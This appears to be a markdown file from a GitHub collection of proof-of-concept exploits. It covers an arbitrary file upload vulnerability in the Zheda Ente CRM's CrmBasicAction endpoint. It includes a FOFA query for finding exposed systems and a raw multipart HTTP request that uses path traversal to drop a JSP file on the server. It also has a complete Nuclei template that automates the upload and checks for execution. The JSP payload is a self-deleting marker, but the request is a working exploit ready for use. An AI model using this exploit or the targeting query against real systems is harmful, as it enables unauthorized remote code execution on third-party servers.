Skip to content

Latest commit

 

History

History
90 lines (71 loc) · 2.97 KB

浙大恩特客户资源管理系统crmbasicaction任意文件上传.md

File metadata and controls

90 lines (71 loc) · 2.97 KB

浙大恩特客户资源管理系统crmbasicaction任意文件上传

浙大恩特客户资源管理系统中的crmbasicaction接口存在安全漏洞,允许攻击者向系统上传任意恶意JSP文件,从而可能导致潜在的远程执行代码攻击。该漏洞可能会对系统的完整性和安全性产生严重影响。

fofa

app="浙大恩特客户资源管理系统"

poc

POST /entsoft/CrmBasicAction.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36
Content-Length: 267
Accept-Encoding: gzip
Connection: close
Content-Type: multipart/form-data; boundary=0rwysvgvy7rxv790mpju

--0rwysvgvy7rxv790mpju
Content-Disposition: form-data; name="file"; filename="../../mqh8qxe3cy.jsp"
Content-Type: application/zip

<% out.println(111*111);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
--0rwysvgvy7rxv790mpju--

3a3a1bb6be6134a688029b7e4d757cd4

9f14d667e2ff13898bf0e9f6e33fe1d5

访问上传的文件 /enterdoc/dao{{filepath}}{{filename}}.jsp

nuclei


id: zhedaente-entsoft-CrmBasicAction-upload

info:
  name: 浙大恩特客户资源管理系统-crmbasicaction-任意文件上传
  author: rain
  severity: critical
  metadata:
    fofa-query: title="欢迎使用浙大恩特客户资源管理系统" || body="script/Ent.base.js" || app="浙大恩特客户资源管理系统"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /entsoft/CrmBasicAction.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36
        Connection: close
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip
        
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="../../{{filename}}.jsp"
        Content-Type: application/zip
        
        <% out.println(111*111);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
        --{{boundary}}--

      - |+
        GET /enterdoc/dao{{filepath}}{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36
        Content-Length: 0
        Accept-Encoding: gzip, deflate
        Connection: close

    extractors:
      - type: regex
        name: filepath
        part: body
        internal: true
        group: 1
        regex:
          - '(/\d+/)'

        
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(body_2,'12321')"